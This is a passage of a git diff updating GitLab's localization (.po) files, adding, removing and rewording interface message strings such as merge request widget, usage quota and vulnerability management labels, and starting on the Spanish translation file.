msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "alklaku por alÅuti"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Vi ricevos sciigojn nur por komentoj, en kiuj vi estas @menciita"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index 7efd0433a6d..52565e9fd8c 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr " %{start} hasta %{end}"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" no existía en \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "El tamaño de \"%{repository_name}(%{repository_size}) es mayor que el límite de %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "El parámetro \"el\" es necesario para createInstance()"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d solucionado el resultado de la prueba"
msgstr[1] "%d solucionados los resultados de la prueba"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grupo"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d merge request al que no tiene acceso."
msgstr[1] "%d merge requests a los que no tiene acceso."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d métrica"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d shard seleccionado"
msgstr[1] "%d shards seleccionados"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d etiqueta"
@@ -407,6 +419,12 @@ msgstr[1] "%s cambios adicionales han sido omitidos para evitar problemas de ren
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} no es en un rango de direcciones IP válido"
@@ -483,6 +501,11 @@ msgstr[1] "%{count} se requieren las aprobaciones de %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} aprobaciones de %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} archivos modificados"
@@ -705,7 +728,7 @@ msgstr "%{link_start}Obtener más información%{link_end} sobre los roles."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} encontrado %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} ya está siendo utilizado para otro emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} está programado para %{action}"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} abiertas, %{closedEpics} cerradas"
@@ -818,6 +841,9 @@ msgstr "%{placeholder} no es un tema válido"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} no se puede añadir: %{error}"
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds} s"
@@ -896,9 +925,6 @@ msgstr "%{spanStart}en%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} hasta %{end}"
-msgid "%{state} epics"
-msgstr "%{state} épicas"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr "%{total} incidencias abiertas"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} advertencias encontradas: mostrando la primera %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr "(eliminado)"
msgid "(revoked)"
msgstr "(revocado)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr "(Necesitamos su contraseña actual para confirmar sus cambios)"
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} más"
